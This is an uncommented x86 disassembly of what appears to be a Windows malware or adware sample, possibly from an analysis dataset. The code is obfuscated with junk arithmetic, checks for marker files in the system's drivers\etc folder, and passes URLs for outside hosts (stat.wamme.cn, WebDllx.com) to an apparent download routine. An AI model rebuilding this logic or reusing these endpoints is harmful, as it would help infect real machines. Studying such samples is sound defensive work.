add ecx, edx
add eax, 0x74
sub edi, ecx
push 0x68
push eax
mov dword [0x4566a8], edi
call fcn.0043c18a
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x456694]
mov esi, dword [0x45668c]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
mov ecx, dword [0x456690]
sar edx, 9
mov edi, edx
add esi, edx
mov eax, 0x5bdd0ecb
imul ecx
mov ecx, dword [0x4566a8]
sar edx, 0xe
imul ecx, ecx, 0x3117
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x45669c]
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], edi
call fcn.00429b39
add esp, 8
cmp eax, 0xffffffff
je 0x403813
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00429b39
add esp, 8
cmp eax, 0xffffffff
jne 0x40381a
push 0
call fcn.00429d06
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x414]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x403826
mov ecx, dword [0x456690]
mov esi, dword [0x4566a0]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
mov ecx, dword [0x45668c]
sar edx, 9
add esi, edx
mov edi, edx
mov eax, 0xb73ab967
imul ecx
add edx, ecx
sar edx, 0xf
shr edi, 0x1f
add edi, esi
mov esi, dword [0x456694]
mov ecx, edx
add edi, edx
mov edx, dword [0x4566a8]
imul edx, edx, 0x3117
shr ecx, 0x1f
add ecx, edi
sub ecx, edx
sub ecx, esi
add ecx, 0xdbb5
push 0x132b600
mov dword [0x45668c], ecx
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov ecx, dword [0x4566a8]
mov eax, 0x6bb7d05b
imul ecx
sub edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
mov ecx, dword [0x456694]
imul esi, esi, 0xdd0b
mov eax, 0x95e7555
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4566a0]
imul edx, edx, 0xb2d6
sub edi, esi
sub edi, ecx
mov ecx, dword [0x456698]
push 0
add edi, edx
mov eax, 0x14dc1615
imul ecx
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
sar edx, 0xa
push 0x45667c
mov eax, edx
shr eax, 0x1f
push 0
add edi, edx
add eax, edi
push 0
mov dword [0x456698], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0043c18a
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x45668c]
mov edx, dword [str._r_____r____]
mov esi, dword [0x45669c]
imul edx, edx, 0x36a6
mov edi, ecx
imul edi, edi, 0xdcfc
add edi, edx
mov eax, 0xb73ab967
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456698]
imul edx, edx, 0x7f22
sub edi, eax
add edi, dword [0x4566a4]
lea edx, [edx + edi - 0xdd0b]
mov dword [0x456694], edx
xor esi, esi
jmp 0x4039a0
mov edi, edx
mov eax, 0x5bdd0ecb
imul edi, edi, 0xdd0b
imul edx
sar edx, 0xe
add edi, edx
mov eax, edx
mov edx, dword [0x456690]
imul edx, edx, 0xaaa9
shr eax, 0x1f
add eax, edi
add eax, edx
mov edx, ecx
imul edx, edx, 0x18161
add eax, edx
mov edi, eax
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0x2710
mov dword [0x45669c], edi
call ebx
mov ecx, dword [0x45668c]
mov edx, dword [0x456694]
inc esi
jmp 0x4039a0
mov esi, dword [0x45668c]
mov ecx, dword [str._r_____r____]
imul esi, esi, 0xdcfc
imul ecx, ecx, 0x36a6
add esi, ecx
mov ecx, dword [0x45669c]
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [0x456698]
sar edx, 0xf
imul ecx, ecx, 0x7f22
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4566a4]
sub esi, eax
add esi, edx
lea edx, [ecx + esi - 0xdd0b]
push 0x493e0
mov dword [0x456694], edx
call ebx
push 0
call fcn.00429d06
mov eax, 0x403a63
ret